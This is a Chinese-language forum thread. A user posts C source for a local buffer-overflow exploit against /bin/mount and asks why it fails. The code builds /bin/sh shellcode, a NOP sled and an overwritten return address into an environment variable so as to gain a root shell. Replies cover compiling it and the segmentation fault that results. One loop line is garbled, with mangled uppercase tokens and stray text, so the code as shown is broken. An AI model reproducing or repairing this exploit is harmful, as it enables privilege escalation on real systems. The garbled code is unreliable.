发新话题
打印

谁帮我分析这下.这段代码有没有问题!

谁帮我分析这下.这段代码有没有问题!

 #define SIZE 1024

   long get_esp(void)
   {
   __asm__("movl %esp,%eax\n");
   }

   main(int argc, char **argv)
   {
   char env[SIZE+4+1]; /* 1024 buffer + 4 byte return address + null byte */
   int a,r;
   char *ptr;
   long *addr_ptr;
   char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
   char *exec_ptr = execshell;

   r=atoi(argv[1]);
   ptr = env;
   memcpy(ptr,"WOOT=",5); /* set environment variable to use */
   ptr += 5;



   for(a=0;a<SIZE+4-STRLEN(EXECSHELL)-R;A++)  * NOPs with front pad p <>       *(ptr++) = 0x90;
   while (*exec_ptr)
      *(ptr++) = *(exec_ptr++);
   addr_ptr = (long *)ptr;
   *(addr_ptr++) = get_esp()+1139;  /* 0xbffffc01 */

   ptr = (char *) addr_ptr;
   *ptr = 0; /* must end with null byte to terminate string */
   putenv(env);
   system("/bin/mount $WOOT");
}      

TOP

我执行的时候出显:
sm.sh: line 3: syntax error near unexpected token `('
sm.sh: line 3: `   long get_esp(void)'      

TOP

这个文件还需要编译成可执行的文件:
拷贝上面的源码保存为 smallsh.c, 然后 make smallsh      

TOP

现在编译成可执行文件以后,提示段错误....不懂什么意思哦!
$ ./smallsh
段错误      

TOP

段错误可能是内存越界越权访问造成的, 需要调试一下这个程序.      

TOP

发新话题